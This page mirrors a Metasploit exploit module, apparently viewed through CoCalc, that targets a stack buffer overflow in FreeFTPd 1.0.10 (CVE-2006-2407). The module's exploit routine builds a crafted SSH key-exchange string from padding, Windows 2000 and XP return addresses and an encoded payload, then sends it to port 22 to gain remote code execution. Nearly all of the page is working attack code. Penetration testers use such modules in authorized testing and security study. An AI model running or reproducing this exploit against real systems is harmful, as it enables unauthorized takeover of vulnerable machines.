Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ssh/freeftpd_key_exchange.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer Overflow',
16
'Description' => %q{
17
This module exploits a simple stack buffer overflow in FreeFTPd 1.0.10
18
This flaw is due to a buffer overflow error when handling a specially
19
crafted key exchange algorithm string received from an SSH client.
20
This module is based on MC's freesshd_key_exchange exploit.
21
},
22
'Author' => 'riaf <riaf[at]mysec.org>',
23
'License' => BSD_LICENSE,
24
'References' => [
25
['CVE', '2006-2407'],
26
['OSVDB', '25569'],
27
['BID', '17958'],
28
],
29
'DefaultOptions' => {
30
'EXITFUNC' => 'process',
31
},
32
'Payload' => {
33
'Space' => 500,
34
'BadChars' => "\x00",
35
'StackAdjustment' => -3500,
36
},
37
'Platform' => 'win',
38
'Targets' => [
39
[ 'Windows 2000 SP0-SP4 English', { 'Ret' => 0x750231e2 } ],
40
[ 'Windows 2000 SP0-SP4 German', { 'Ret' => 0x74f931e2 } ],
41
[ 'Windows XP SP0-SP1 English', { 'Ret' => 0x71ab1d54 } ],
42
[ 'Windows XP SP2 English', { 'Ret' => 0x71ab9372 } ],
43
],
44
'Privileged' => true,
45
'DisclosureDate' => '2006-05-12',
46
'DefaultTarget' => 0,
47
'Notes' => {
48
'Reliability' => UNKNOWN_RELIABILITY,
49
'Stability' => UNKNOWN_STABILITY,
50
'SideEffects' => UNKNOWN_SIDE_EFFECTS
51
}
52
)
53
)
54
55
register_options(
56
[
57
Opt::RPORT(22)
58
]
59
)
60
end
61
62
def exploit
63
connect
64
65
sploit = "SSH-2.0-OpenSSH_3.9p1"
66
sploit << "\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00\x00\x00"
67
sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
68
sploit << rand_text_alphanumeric(1055) + [target.ret].pack('V')
69
sploit << payload.encoded + rand_text_alphanumeric(19000) + "\r\n"
70
71
res = sock.recv(40)
72
if (res =~ /SSH-2\.0-WeOnlyDo-wodFTPD 2\.1\.8\.98/)
73
print_status("Trying target #{target.name}...")
74
sock.put(sploit)
75
else
76
print_status("Not running a vulnerable version...")
77
end
78
79
handler
80
disconnect
81
end
82
end
83
84